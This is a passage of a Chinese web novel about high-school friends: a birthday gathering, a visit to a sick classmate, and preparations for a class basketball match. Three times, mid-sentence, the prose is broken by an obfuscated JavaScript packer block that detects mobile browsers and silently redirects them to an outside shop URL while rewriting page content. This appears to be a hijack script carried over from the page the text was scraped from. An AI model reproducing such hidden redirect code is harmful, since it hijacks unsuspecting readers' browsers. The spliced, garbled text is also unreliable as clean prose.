“这我不知道,小姑娘自己说的。”曲思嘉问路一杭,“寿星,她全名叫什么?” “陈橙子。” 曲思嘉“哇”了声,真诚道:“更可爱了。” 闻竹端着水果出去,坐在了橙子小朋友旁边,橙子和李泊松两人在玩大富翁。这局已经到了尾声,李泊松在旁边撑着下巴看她“算钱”。 看着小姑娘掰手指冥思苦想一阵,闻竹凑近了小声问:“谁赢了?” 小姑娘抬头,朝她眨了眨水灵灵的眼睛:“泊松哥哥。” 闻竹抬头看了李泊松一眼,眼神有点指责他玩游戏不让着小孩子的意思。他笑笑,帮橙子整理面前乱了的牌,用口型说:“她算错了。” 闻竹的表情变得更加生动。 在这个过程中,他看了眼闻竹手里的巧克力,低声提醒道:“路一杭说橙子不能吃甜食。” “你怎么知道我会给她吃?” 他颇为幼稚地回:“我就是知道啊。” “姐姐,你真漂亮。”小朋友突然开口打断了他们,她的声音很清澈,像万物复苏后叮咚的泉水,而且在和她说话时一直看着她的眼睛。闻竹觉得高兴,因为她觉得自己很久没听到这么真诚直白的赞美了。 她说“谢谢”,然后回礼道:“你也很漂亮哦。” “我叫橙子,姐姐叫什么呀?” 没等闻竹开口,李泊松如同橙子的老朋友般告诉她:“姐姐叫竹子。” “哦!”已经可以开始下一局了,小姑娘把闻竹往她身边拉了下,说道:“我叫橙子,姐姐叫竹子……竹子姐姐,咱们三个一起玩游戏吧?” 闻竹答应了,把手中裹在锡箔纸里的巧克力分了一半给李泊松,又在果盘里拿出一个橙子,晃晃手逗小孩:“橙子要吃橙子吗?” 曲思嘉伸手怼了下路一杭,在厨房小声说:“我发现了,谁和你妹妹玩起来都会变得嗲嗲的。” 路一杭摊了下手。 毕雨泽哈哈大笑,笑完,他摸了摸下巴,觉得有些匪夷所思:“小孩喜欢李泊松我可以理解,阳光帅哥嘛,但是为什么这么喜欢闻竹?和她不熟悉的时候我都觉得她自带一种距离感。” 这话一点没错,不了解闻竹的人的确都会这么想,她不大笑,也不喜欢主动和别人搭话。只有熟悉她的朋友们才知道她是多真诚纯粹的人。明月直入,无心可猜。 “小孩子能看到人的心吧。竹子多可爱,就是表面上有点冷淡,外冷内热嘛。”曲思嘉说完,路一杭随口搭话:“从这个角度想,李泊松和她正相反吧。” 毕雨泽一脸状况外的样子,曲思嘉吃着最后一块巧克力,好像没听到似的,过了会儿她才和毕雨泽解释:“小路说他是外热内冷,你没感觉?” “诶?”路一杭夸她:“挺会概括啊。” “别打岔别打岔,”毕雨泽皱皱眉,“泊松人多好啊,我喜欢他这人,你们……” “我们也喜欢他,不然咱们这两个月在做什么。”路一杭顿了顿,“我们和你一样觉得他很好,但是,如果真的遇到什么需要倾诉的事情,现在的他不会和我们说。” 毕雨泽虽然有些不服气,但他是除了闻竹之外和李泊松接触最多的人,他心里清楚,路一杭是对的。 “不过你最开始的时候也这样。”曲思嘉看着路一杭,一针见血地说。 “建立信任需要时间,我们不能要求一个认识只有两个月的人敞开心扉,朋友们。” 闻竹突然出现,吓了他们一跳。 “你什么时候过来的?!” “嗯……在你们对我真诚表白的时候?”她难得开玩笑,看了他们的脸色后更是心情大好,她朝着自己身后指了指,示意道:“橙子说饿了,咱们准备吃饭吧。” - 路一杭的爷爷奶奶今天去见老朋友了,晚上再回来陪他过生日,几个人在家里动手吃火锅。午饭的时候橙子就困了,在椅子上坐着,脑袋一点一点的。闻竹轻轻碰了下她的脸,小姑娘没醒,于是把她放倒让她在沙发上睡觉。 空调的温度正好。 他们刚把桌子收拾干净,门就被敲响了,大家同时静下来,路一杭去开了门,是橙子的妈妈来了。 这位女士看起来得体干练,穿着一件颜色淡雅的衬衫。橙子的大眼睛完全遗传了妈妈,母女两个非常相像。她打开门对路一杭说了句“生日快乐”,而后双手拥抱了他。 “不管你父母怎么样,有这么多朋友陪你过生日,姑姑就放心了。真好……”她这样说。 路一杭把从他姑姑那里接过来的生日蛋糕递给了旁边的毕雨泽,而后在门口和她聊了几句,橙子在房间里和大家挥手,眼睛里写满了舍不得。 小孩子和其他人建立感情联系好像真的很容易啊。 李泊松笑了笑,漫无目的地想着。 “哎,”闻竹在他身后拍了下他的胳膊,“你笑这么慈祥做什么?” “慈祥?”李泊松挑眉看她,无奈道:“我以为很帅呢。” “……”闻竹懒得理他,反倒提起了刚才的事,“她算错了,你怎么不说?” “为什么要说,她才多大,算不对很正常,”李泊松弯着眼睛,似有所指,“有的人这么大的时候也不会算数。” “哪有?”闻竹说,“我数学多好啊。” “嗯,”李泊松又开始顺着她了,他闷声笑:“是。” 他和闻竹靠得近,在她身上闻到了很淡很清新的洗衣液味道。 大家重新回到桌前围着吃火锅,闻竹示意李泊松帮她下土豆片,她离得远够不着。 他此时就穿了件宽松的半袖,露出线条流畅的小臂,在他的动作间,闻竹又清晰地看到了他锁骨上那条长长的、已经淡了很多却依然有些狰狞的疤痕。 “走神了,”李泊松低声问她:“丑吗?” 闻竹反应了一会儿才意识到他在说什么。在滨海北路那晚之后,她明白李泊松逃避的只有关于他爸爸去世的话题,至于自己那道疤,他心底并不是很在意。 “不丑,”她实话实说,又错开视线问:“疼吗?” 李泊松也很坦诚:“早就不疼了。” 路一杭是最后回到桌边的,他刚坐下,手机就震动起来,他又起身接电话。他没有刻意避着大家,他们也能在只言片语中听出电话那边的人是谁。 屋子里的气氛徒然安静了下来,有些像剧本杀过程中互相猜疑对方是凶手时的状态,大家你看我我看你的,谁都没先开口说话。 闻竹忽然想到自己从来没有见过路一杭的父母,每次家长会都是他爷爷或者奶奶来。他性格比较内敛,他们只知道他父母在国外,多的他不说,大家也不问。 今天话赶话说到了这里,路一杭也没瞒着,说自己的父母在非洲工作,搞研究的,具体研究什么他也不清楚。 看着大家或惊讶或怔愣的表情,他开玩笑:“虽然很像编的,但事实就是这样,是不是有点离谱?” “我爷爷奶奶把我从小带大,也够不容易的。初中的时候我学习特别努力,那个时候我是想证明给我爸妈看,看看你们的儿子,没有你们在身边也同样很优秀,或者是另一种——我不愿意承认——我表现得这么好,你们还不回来看看我吗?” “他们没有回来过?” 路一杭被曲思嘉这个问题逗笑了:“回来过,他们上次回来是我中考之后的那个暑假,开学之后没几天就又飞回去了。” “你现在也在努力学习啊,只不过不再是为了他们了。”李泊松说。 “对,大概是为了我爷爷奶奶和我自己吧。” “努力成习惯了。”毕雨泽点头。 “毕竟体会过考得好的感觉之后,很难不努力。”李泊松笑:“是吧?” “李泊松同学?”闻竹扯了扯嘴角:“这句话好像是我说的,我有版权的啊。” “嗯嗯,”李泊松随口敷衍,把手递到她眼前,手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079142|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是两颗洗过的草莓,“版权。” 闻竹没忍住翻了个白眼,接过一颗放进嘴里。 路一杭觉得此时此刻非常放松,这很难得。他从小到大都没什么朋友,也没什么倾诉欲。奶奶为他在高中交到这么多知心朋友高兴的同时,其实心里是很惊讶的。他不是一个喜欢和谁敞开心扉的人,什么情绪都放在心里,他自己很清楚。 果然要听老人的话啊,想说的事情说出来就轻松多了。 他们几个提前商量好了,蛋糕订了之后是李泊松拎过来的,这会儿又多了一个。大家一边吃着他们买的蛋糕,一边随意聊着天。 李泊松不喜欢奶油,对甜食的兴趣也不算大,他只吃了一块,而后的时间就坐在那儿,随手帮忙切下蛋糕,闻竹坐在他身边开启了省电模式。他们两个嘴都没停,一个在认真地吃,一个一直在聊。 李泊松算了算路一杭的生日,没太算明白,于是问他:“你过了这个生日是多大?十七、十八还是十九?” “十八。”路一杭纳闷道:“十七和十九是怎么算出来的?” 这个话题引发了大家关于年龄的讨论,他们都是正常年龄入学的,路一杭最先过生日,而后是李泊松和闻竹。 “我们两个生日没差多久。”闻竹说。 “不到三个月,八十二天。”李泊松随口补充。 曲思嘉“哦”了声:“夏初和夏末。” 毕雨泽在“大富翁”的下边翻到了一堆其他的卡牌,还翻出了真心话大冒险的卡。他闲不住,而且好奇心重,翻了好几张卡来看,而后他觉得这大概是青少年版真心话大冒险,因为上边的问题都非常……幼稚。 他提议大家玩这个,曲思嘉凑过去看了眼,拿起一张牌语气平板地念:“你最难忘的一件事是什么。”她放下,又拿起一张,“说出自己身上最大的缺点。” “……这问题有点像小学时候的班会。”闻竹听完之后撑着下巴点评道。 “玩几局?”毕雨泽洗着牌,警惕地看着他们,“不然你们想做什么,不会是做作业吧?” 闻竹:“谁出来玩带作业?” “泊松啊,”毕雨泽朝一个方向抬了抬下巴,胡诌八扯道:“你看这书包那么鼓。” “装了篮球吧……” 闻竹顺着他的视线看过去,耳边传来李泊松和毕雨泽说话的声音。 “我得反思一下是不是什么时候得罪了你……” 李泊松和毕雨泽说完,笑着往后靠了靠,伸长胳膊越过闻竹拿到自己的包,一颗篮球从里边露了出来。 …… “行了,别扯了,想玩就玩。”路一杭给了毕雨泽一脚,“这个牌没什么过分的问题,玩的话不许耍赖,这也没酒给你们喝。” “知道了路老师,”李泊松接话,“真当是给小学生开班会啊。” 闻竹无语道:“你们最近给他搞了多少新的称呼?” 毕雨泽和曲思嘉笑得前仰后合。 那张“说出你自己最大的缺点”那张牌被闻竹抽到了,她偏头想了一会儿,说:“应该是脾气差吧。”闻竹觉得自己的缺点还是不算少的,但如果被人问到这种问题,她确实不知道自己哪个缺点“最大”,只好挑别人常说的来说。 “为什么是脾气差?”李泊松好笑地问:“只能说你不算是温柔的脾气,但谁说不温柔就是差了?” “很多人都这么说啊。”闻竹不甚在意地答道。 听了这话,他忽地皱了下眉:“很多人是谁?” 闻竹惊讶于他突如其来的认真,撑着下巴道:“你这个语气好像要去找人算账。” 李泊松有些无奈地看了她一眼:“乱发脾气是脾气差,经常无缘无故冷脸是脾气差,你这样不是。” 闻竹家庭氛围和谐美满,但总有一些苍蝇一样的亲戚,话多又烦人,那些亲戚总嫌闻竹不爱笑,性格不温柔,不有问必答,闻竹没有和他说过这些,但他碰到过一次,难得执着又强势地问,才得知来龙去脉。他现在还记得。 从小到大说她脾气不好的人多了,她一直不算太在意,但李泊松烦得不行。 在他们回家的路上,他又提起了这件事。 闻竹伸手拍了下他的胳膊:“哎,都这么久了,我已经不是很在意了。” 李泊松点头,说了句绕口令一样的话:“我知道你知道,我……” 没等他说完,闻竹接话:“你只是关心我?” 她笑了笑,想起了李泊松之前说过的一句话,那个时候他们两个刚升初中,李泊松短暂的青春叛逆期就在那段时间,他当时说:“你们家有些亲戚真是咸吃萝卜淡操心,他们凭什么要求你。” 26. 黄桃罐头 五月六号开学的当天,闻竹的起床气卷土重来了。她今天在家里住,因此要比平时早起二十分钟。 被子里伸出了一只手,摸索到了床头柜上的闹钟,然后来回拨弄了几次,最后以闹钟被拨到地上告终。 闹钟落地的“嘭”声把她从睡梦中强行唤醒。 其实这声音不是赶走了瞌睡虫,而是唤醒了闻竹哥刚刚还沉睡着的愧疚感,她觉得自己可能打扰了家人休息,于是也没了赖床的脸皮,打着哈欠翻下床洗漱去了。 昨天半日半夜的大雨好像倾覆了整座城市,清晨的地面上存蓄着一滩一滩的积水,闻竹换了一把稍大一些的雨伞,把它装进书包,而后轻手轻脚地出了门。 几乎又是卡着点进入班级,早自习时间马上到了,班里的人数看着比以往少一些,可能大家都没有在短暂放松的假期中缓过来。 曲思嘉在奋笔疾书,动作鬼鬼祟祟的,应该是在忙着抄作业。她被淹没在题海中,闻竹路过的时候听到了她和同桌吐槽的声音。 “仅仅五天,我就养成了睡懒觉的习惯。” 她同桌非常配合:“太厉害了,我也是。” “坏习惯总是这么容易养成。”曲思嘉又总结。 这话可太有哲理了。 高跟鞋敲击地面的声音在走廊里响起,闻竹把书包甩在椅子上,在坐下整理校服袖口的同时不出意外地看到了曲思嘉收拾“犯罪证据”的利落动作。 - 中午的食堂人来人往、吵闹依旧,闻竹摸出手机,在等待它开机的时候听到路一杭问她:“泊松怎么了?” 闻竹耸肩:“我正准备问呢。” “请假的理由无非就是那么几个,事假和病假嘛,难道是家里有事?”毕雨泽猜测。 曲思嘉眨了眨眼:“就不能是生病?” “倒是也有可能,”毕雨泽手上没闲,在碗里随意地拨弄了两下拉面,“但是泊松给人一种体质特别好的感觉,四月份穿半袖在露天球场打球都什么事没有。” 叮咚叮咚的提示音传进耳朵,闻竹知道这是有人发了消息过来。然而周围的信号并不好,她只得看着屏幕上方的小圈转悠了一圈,接着又转悠了一圈。 在耐心即将告罄的时候,网络终于连上了,三条七点钟的消息一条条地蹦了出来。 正是早自习刚开始的时候。 【L:有点小感冒,今天请了假,抱歉不能和你一起回家了。】 【L:不过不用担心,我没什么事。】 【L:……有人担心吗?】 不知道怎么回事,闻竹竟然在这个时刻拥有了写作文时才会发挥出来的联想能力,她在李泊松的只言片语中构想出了他的神态和语气。尤其是最后一条,幽默得符合他一贯的风格。 大家都在吃饭,只有闻竹攥着手机忽然眉开眼笑,这个场景在坐她对面的毕雨泽眼里是有些奇怪的。 闻竹抬头的时候注意到了身边三个人的目光,笑意没有完全收起来。她晃了下手机,坦荡道:“是李泊松,他说有点感冒,然后……”她做了个不算成功的语义转换,“问我有没有人关心他?” “有有有,”毕雨泽举手,“我可以关心他。” 这会儿不止闻竹,大家都被逗笑了。 路一杭永远都负责把话题拉回正轨:“泊松会因为小感冒请假吗?”他随口分析道,“挺严重的吧。” 闻竹“嗯”了声,“没怎么见过他生病。今天调休早放学,我晚上去看看。” 曲思嘉笑眯眯的:“竹子你就算不去,岩姐大概也会叫你帮忙给他捎卷子,毕竟快考试了……” 这句话无意间戳了毕雨泽的脊梁骨,他想起了自己立的军令状,原本要扯淡的话被咽进了肚子里。 路一杭看到他吃了苍蝇一样的表情,皱了皱眉刚想开口,毕雨泽却轻咳一声,装模作样道:“那个,快点吃快点吃,我还得回去学习呢。” - 曲思嘉认为自己料事如神,放学时特意凑到闻竹身边,强迫她承认自己有先见之明,闻竹拍了一下她的后背,提醒她因为没写完数学卷子挨罚的事情。 “哦哦?”曲思嘉嘟囔着,“还有这回事,真让人伤心。” 闻竹没有提前和李泊松说要去给他送卷子的事情,从理论上讲,忽然登门拜访是很唐突的。但这个人是李泊松。 她习惯直接去敲他的门了,从小就是这样的。 任何人为人处世都有属于自己的一套公式,但有些人不能被套进公式里。 闻竹敲了三下门,咚咚咚,声音不算大。之后她就停下了动作,安静地站在门口的地毯上。 李泊松开门的动作很快,没让她等几秒钟,只不过见到是她的时候,门里的人明显怔了一下。 他在那一瞬间的反应大概是从意外到惊讶,或者说惊喜大概也勉强可以。这是闻竹自己的理解,但她并不敏锐,不能确定自己理解是否正确。 还没等她说什么,李泊松忽地后退一步,偏头打了个喷嚏。 他叫闻竹稍等一下,转身去洗手,然后从卫生间拿了一瓶不知道什么东西出来,示意闻竹转身。在闻竹面对着门的时候,一阵喷雾喷出的声音响起。她面无表情地站在玄关处,闻到了一股浓重的消毒酒精的味道。 “……”闻竹转回身,抬眼看他:“你不让我进去么?” 李泊松笑了声,嗓音还有点哑,拖着调子说“请吧——”,而后单膝蹲下在鞋柜里找适合闻竹的拖鞋。 “空气里都是病毒。”他边找边说。 “谁在意啊。”闻竹嘟囔。 找出拖鞋后李泊松把两只一起放在她脚边,闻竹看着男生毛茸茸的发顶,直截了当地问他:“你是在等谁吗?” 她利索地换了鞋,省略了道谢的步骤,在等他答案的同时开始翻找书包里的卷子。 在找出卷子递给李泊松时,眼前人接过看了眼,表情有一瞬间的哭笑不得。他说谢谢,又引她站在厨房门口。 “你听。” 闻竹听到了滴答——滴答的水声,她反应过来了:“水管漏水了,你在等维修师傅?” “嗯,聪明。”李泊松弯了下眼睛,开玩笑道:“这声音有点像鬼片,是吧?今天要是修不好,晚上还挺吓人的。” “……”闻竹抱着胳膊,真诚地问:“你什么时候怕鬼了?” 李泊松随口胡扯:“前几天。” 两人聊天的时候她正好和李泊松面对面,这边的房子视角不算好,看不到漫天的晚霞。闻竹借着灯光大大方方地盯着他的脸,看了一会儿后踮脚去碰他的额头。 “退烧了吗?” 摸起来好像还有点热。 这话早在刚进门的时候她就该问,但不知道怎么回事,和李泊松待在一起的时候两人都有一箩筐的废话,说着就忘了正事。 她的手收回去好几秒后,手指冰凉的触感才在额头上消失。李泊松处在怔愣中一时间没回神。他听到咚咚——咚咚的声音,合着不远处水声的节奏在胸膛响动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079143|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻竹把他不对劲的反应归结为身体不舒服,听到李泊松答了她的话。 “十分钟前量过,三十七度,没什么事了。” 三十七度也是低烧啊。 不管怎么说,在四月的北方穿半袖打篮球的人也扛不住吹风又淋雨。李泊松老老实实地穿着长袖T恤,把闻竹带到了书房。 闻竹之前从来没有来过这个房子,但因为住在同一个小区,对户型非常了解,因而行动起来很自然。 她现在住的房子也是两室一厅,一间她住,另一间陈女士住,而这儿的另一间卧室改成了书房。 “发什么呆呢?” 虽然在生病中,但李泊松身上没什么病气,只是脸色没有平时那么好,精气神依然很足。他出现得悄无声息,闻竹呼出一口气,心脏跳动的频率才慢下来。 “你吓了我一跳。” “是吗?”他晃了晃手里的东西,“那我用这个赔礼道歉。” 黄桃罐头被放在书桌上,呈现出一种晶莹透亮的光泽。李泊松看着闻竹,没错过她一瞬间亮起来的眼睛。 他开罐头的方式和几年前一模一样。懒得找工具,只是朝着罐头盖拍两下,然后一只手扶着罐身,另一只手去拧。不算大的“嘭”声响起,瓶盖就开了。 听这个清脆的声音让闻竹觉得很享受,在这种雀跃中,她忽然想到给自己开罐头的是病号,于是有些不好意思。 闻竹是从小就怕痛的人,小时候生病了需要打针,她看见针头就会嚎啕大哭,让家人非常苦恼,只有拿罐头哄着骗着才行。 陈女士到现在都时不时地感慨,小时候那么爱哭的一个孩子,怎么长大后性子冷淡起来了? 她抬头,还没来得及说什么,“咚咚咚”的敲门声忽地响起来。这次的频率比闻竹敲门快来些,李泊松去应门,门外的人说自己来修水管。 “您好,请进。” 他站在门口看师傅戴上鞋套,之后带着师傅去厨房拉开柜子查看水管。闻竹在书桌前坐着,没去动那瓶黄桃罐头,而是翻到了李泊松摆在桌面上的假期作业,拿出自己的卷子给他对答案。 李泊松的字迹和正确率都让批卷老师很省心,而且他是做事很有条理的人,会把发的卷子按照科目整理好塞进夹子里,因而,原本庞大的工作量没多久就做完了。在李泊松送师傅出门回来后,闻竹已经撂下了笔。 看到他进门,闻竹说:“谢谢你的罐头。” 李泊松单手支着门框,另一只手拎着一个凳子,看起来心情很不错。 “是我要谢谢你,还来给我送作业,不过我们之间不需要说谢谢吧,你什么时候和我这么客气了?” “假装客气一下,”闻竹摊手:“下次不装了。” 李泊松笑了,拎了个凳子放在她旁边。两个人对着卷子研究了一会儿他寥寥无几的错题。闻竹把老师的思路讲给他,顺便加深一下自己的印象。他握着笔算题,还能分出一根神经夸闻竹:“你吸收知识挺快的。” “哦,”闻竹靠在他平时坐的椅子上,抬头看向一边的书架。 她想起自己前几天刚开过的玩笑,转头看他,问:“你真把收到过的情书都带来了?” “嗯?”李泊松莞尔,语气轻松:“你好奇?” “你想多了。” 闻竹恢复面无表情的样子,眼看李泊松还要说什么,她打断道:“不许溜号,没几天就考试了。” 他比了个“OK”的手势,听话地低头接着算题了。 27. 篮球比赛 期中考试比月考更加折磨人,闻竹在考完英语后回到班级,站在门口得出了这样一个结论。 第一次月考的时候大家虽然抱怨不停,但依然热火朝天地对着答案,此刻的教室却安静得让人意外。 “怎么这么静?” 闻竹单肩背着包,手里拿着刚才的英语卷子走到座位旁边。她一偏头,发现李泊松在算物理的最后一道选择题,不知道有没有听见她说话。 和上次考完试的时间相同,但因为季节更替时令变化,外面不是暮色四合的景象,而依旧天光大亮。 李泊松答非所问,和闻竹半抱怨地说:“第一次考理综就出这么难的题,我现在还感觉耳朵里边嗡嗡的。” “出去打会儿球就好了。”这话刚出口,闻竹顿了顿,低头看着李泊松,目光带了点审视,“你今天还要去挂吊瓶么?” “不用,我从昨天开始就没再去。我觉得还是你的提议比较好,打球治愈一切。” 闻竹笑笑,在一旁眯了下眼睛看他的卷子,卷面依然非常整洁,没觉得他答得很狼狈。 “不考虑你的耳朵的话,你考得怎么样?” 李泊松顿了顿,好像在纠结应该诚实还是应该谦虚,大概是觉得都算美好品质,他折中道:“还不错,可能不至于被没收手机了?” “哦,”闻竹眼睛微微睁大,“军令状没白立啊。” “那当然了,我最近可是非常刻苦的。” 好吧。 闻竹心里想,还好没下无聊的注。 - 每学期的期中考试结束后都要开家长会,大概是为了留个悬念,大家并没有像以往那样很短时间内就拿到了成绩。而在这期间,另一件事又被提上了日程。 一中比较重视学生全面发展,因而每年的五月份都会有校级比赛。这些比赛与体育课的选修内容有关,每个班级都要参加,学校也鼓励大家积极参与。 今年高二年级的比赛形式是男生篮球赛、女生排球赛。 “和体育课的选修有关系?”李泊松好奇道。 “对,说是选修,其实也没有选择权,就是一整个年级组都上这个特色课。高二上半年咱们男生学的是篮球,女生学的是排球。” “这样啊。” “那个,”毕雨泽抓耳挠腮了一阵子,问李泊松,“上报名单的那天你生病请假了,我把你名字报上去忘记告诉你了,你……”他本来觉得李泊松一定会参加,但现在却有点说不出口,不管怎么说自己也是自作主张了。 “我没问题。”李泊松眨眼,“怎么打,抽签?” 他现在就有点跃跃欲试的意思了。这几天过得真心无聊,他自己从来没有这么心无旁骛地复习过。 “对,抽签。”毕雨泽觉得这个还是比较看运气的,如果一开始就抽到比较强的班级,那就没什么戏了。但他们现在有李泊松,比以前强了不是一星半点。毕队底气颇足,腰板都比以前直了。 “篮球赛是大家都可以去看的吗?” “自己班有比赛的时候可以去,这个是自愿的,岩姐也不做要求,不过岩姐倒是每年都去加油。” 李泊松点了下头,视线定在闻竹身上,“你会去吗?” 闻竹的动作顿了下,她答:“当然了。” 毕雨泽看到李泊松放心似的点了下头,疑惑道:“闻竹同学,什么叫‘当然了’,这边需要你解释一下去年不去的原因,”他想了想,震惊道:“而且你和思嘉谁都没去?我才想起来!” 曲思嘉抬手怼他侧腰,还没碰到衣料,毕雨泽的半个身子就条件反射似的往前弹了一下。 “去年我生病请假了,竹子在忙着画板报。你们能开心地打球是因为有人在替你们负重前行,”她斜了毕雨泽一眼:“你不会忘了吧?” “没忘没忘……”毕雨泽擦了擦不存在的冷汗,听到闻竹慢悠悠地补刀,“后来我们其实是想去的,但是去年你们第二场就抽到了二十班,第三场根本没机会打,你也忘了?” 这回他的冷汗真下来了。 李泊松扑哧一笑,拍了拍他的后背,安慰道:“走了毕哥,打球去,今年咱们努努力。” “真得靠你啊泊松,你这种哪个位置都打得好的人,我简直太喜欢了……”他舒了口气,感激涕零地揽着李泊松的肩膀,亲切问他:“说说看,怎么个努力法?” “比如让我去抽签?”李泊松忽悠道:“我运气一直挺好的。” 毕雨泽听了之后一脸黑线。 - 闻竹对于李泊松的运气没什么太大信心,但抽签确实是他去的。毕雨泽很信他胡诌的那些话,反而搞得李泊松本人非常紧张,不过抽签的结果还不错,二十二班,不像是会一轮游的样子。 但是事后毕雨泽和他说,他们这场得和陆昊然打球了,他是二十二班的,大概率会首发上场。 李泊松没太大反应,只是偷偷地对自己的手气表达了强烈的质疑和不满。 期中考试成绩单紧随其后,李泊松这次的成绩好得惊人,毫不意外地保住了自己的手机。虽然不知道毕雨泽立了什么军令状,但他一副春风得意的样子,结果看起来也不错。 家长会和篮球赛都因为连日的大雨耽搁了,等到天公作美,时间已经来到了五月下旬,第三次月考都要开始了。于是家长会被挪到了期末考试之后,早已抽完签的篮球赛终于提上了日程。 他们的第一场比赛在周五下午,对手是二十二班。闻竹和曲思嘉晃到球场的时候,发现这边的人比她们想象得多了很多。 “咱们班和二十二班加起来有这么多人吗?”她问旁边的曲思嘉。 “今天是周五,大家可能是翘掉了社团活动吧,篮球赛还是很有看头的。”她眼睛里闪着期待。 每个周五的第五节课都是一中例行的社团活动时间,这个社团活动是自愿的,不参加的同学就在班级里自习。 闻竹高一刚入学时加入了摄影社团,这社团人不多,第一年每周都按时按点地开展活动。今年社长升入高三,经常被班级的事情绊住脚,基本上想不起来组织。时间长了,闻竹已经把自己的社团给忘了。 她带着思嘉穿过人流,朝自己班级的看台挤过去。 小满刚过,暑热就铺天盖地袭来了。高大的林荫树立在场外,风吹过,树发出了闻竹最喜欢的沙沙声,千叶鸣歌,她觉得那是春夏的声音。 毕雨泽他们忙着做准备活动,曲思嘉远远地打了个招呼,李泊松穿着坐在长凳上,隔着气氛热闹的球场看闻竹。闻竹没做明显的动作,只是歪歪头,他也歪歪头,好像是什么打招呼的暗号一般。 这边毕雨泽开完屏后转过身,对着李泊松和路一杭骂了一句:“陆昊然这个傻X。” 路一杭朝那边偏了下头,李泊松只是笑,问道:“你是因为闻竹讨厌他?” “也不完全,”毕雨泽很诚实,“以前是同班同学嘛,一起打过球,人品球品都不怎么样。” “他打什么位置?” “前锋吧,”毕雨泽笑笑,拍他的后背说:“你和他对位,泊松?” 李泊松用手势告诉他“没问题”。 二十二班有个男生是校篮的,和李泊松关系不错,他过来打了个招呼,两人聊了几句。那个男生的视线在看台上随意瞥过,忽然道:“哎哟,看见我们队长了!” 他朝那边挥手,程栩也看见他们了,也朝这边挥。李泊松几不可察地皱了下眉,问旁边人:“程栩怎么在我们班那儿坐着?” 还在跟闻竹聊天,聊什么呢。 旁边的男生很是纳闷,表情写着“你问我我问谁”。李泊松也反应过来了,笑笑说了句“加油,场上见”,把刚才的犯傻轻轻揭过。 他朝看台四处看了眼,校篮的队员基本上都来了,只有程栩特立独行,在闻竹旁边安然一坐喋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079144|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喋不休。 闻竹听了他倒豆子似的说了一堆话,努力在其中提炼出了中心思想。她听完之后有些疑惑,问:“这话你怎么不去和李泊松说?” 程栩打出一张感情牌:“我和你更熟啊,我初三转学到你们班,咱们两个可是当了半年的同桌,你不能因为我和你告过白就忘了我们之间的同学情谊啊。” 他这边话音刚落,闻竹就感受到了曲思嘉炽热的目光打在了自己身上。 闻竹只好叹气,心里念着同学旧情才忍住没把人赶走。 “你想让李泊松加入校篮的话,和他直说就好。他拒绝你你就多说几次,你跟我说解决不了问题,程栩。” 程栩叹气,见闻竹没意会,他只好解释:“我要是能解决,我就不来找你了,但他一直拒绝我。你以前提过自己有个关系特别好的异性朋友,就是泊松吧……所以我觉得你说会比我说更有用。” “不是,”闻竹笑了:“你都能叫得这么亲密,证明你们两个现在是不错的朋友。既然这样,他说不去,那就是真的不去。你说没有用,我说也没有用。” 她又耸肩:“你别看李泊松总是一副什么都不在意的样子,他的决定很难被改变的。” 当时已经委婉却明确地拒绝了程栩的告白,闻竹又是个心大的姑娘,因此现在和程栩说话并不会觉得尴尬。 她问了一句老师家长们很喜欢说的、不太招人喜欢的话:“马上高三了,还要打?” “是啊,”程栩说,“不冲突。” 闻竹点头,又表达了朋友间的赞许和支持。 程栩刚走出几步,曲思嘉按捺了一会儿,实在没忍住问:“程栩……他喜欢你?!” 虽然是气声,但不保证别人听不到。闻竹耸肩,纠正道:“这是过去时。” “……那他什么时候跟你告白了?” “好像是高一军训结束之后,我记不太清了。” “我一直以为你们两个是朋友,你们相处得很自然。” 闻竹偏头看着她。 曲思嘉回忆了一下自己之前的不算恋爱的经历,问她:“你不会觉得很别扭吗,就是,嗯……” 闻竹会意了,她笑笑:“没有,我没想那么多……如果只是因为这个就疏远一个人的话,对方好像蛮惨的。毕竟没有死缠烂打,喜欢谁本身也没什么错。” “我以为都像电视演的那样呢,喜欢一个人不敢告白,害怕连朋友都做不了。” “这个分人吧,”闻竹对这种家喻户晓的情节还是了解的,“而且这种情况是不是都发生在关系亲密的朋友之间?我和程栩本来就是普通朋友,没有那么深的感情。” “关系亲密的朋友……比如你和李泊松?” “……” 虽然闻竹本身非常清楚,和她关系最亲密的异性朋友就是李泊松,没有其他答案,但曲思嘉举的这个例子依然让她有一瞬间觉得有些别扭。 她猛然意识到,自己这种不爱多想的人,在刚才那个瞬间思维发散了。 当曲思嘉把视线落到她脸上时,闻竹轻轻地点头,给出了肯定的答案。 - 比赛快开始了,程栩从看台上下来,特意绕到场上去和李泊松他们打招呼。 